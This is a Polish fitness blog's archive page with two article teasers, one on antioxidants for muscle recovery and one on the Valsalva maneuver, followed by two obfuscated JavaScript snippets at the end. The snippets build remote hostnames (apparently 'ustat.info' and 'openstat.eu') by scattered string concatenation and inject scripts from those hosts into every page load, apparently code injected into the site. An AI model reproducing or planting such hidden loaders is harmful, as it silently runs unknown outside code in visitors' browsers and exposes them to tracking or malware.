kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 21 lipca, 2025

Kategorie:

Antyoksydanty w diecie sportowca

Antyoksydanty w diecie sportowca – klucz do szybszej regeneracji mięśni

21 lipca, 2025

Czujesz ból i zmęczenie po treningu? Kluczem do szybszej regeneracji i ochrony mięśni mogą być antyoksydanty. W tym artykule wyjaśniam, jak naturalne składniki – takie jak witamina C, E czy likopen – pomagają zwalczać stres oksydacyjny i zmniejszają ryzyko kontuzji. Dowiedz się, jakie produkty włączyć do swojej diety, by trenować ciężej i skuteczniej odzyskiwać siły. Twoje mięśnie Ci za to podziękują!

Czytaj więcej >
kobieta wykonująca manewr Valsalvy

Manewr Valsalvy: Niebezpieczna technika czy sekret do większych ciężarów?

21 lipca, 2025

Manewr Valsalvy – sekret siłaczy bijących rekordy, czy niebezpieczna technika, przed którą ostrzegają lekarze? Dowiedz się, czym jest, jak naprawdę działa i dlaczego pozwala podnosić większe ciężary. Przede wszystkim jednak poznaj kluczowe ryzyka, bezwzględne przeciwwskazania i bezpieczną instrukcję krok po kroku. Ten kompletny przewodnik pozwoli Ci świadomie zdecydować, czy to narzędzie jest dla Ciebie.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();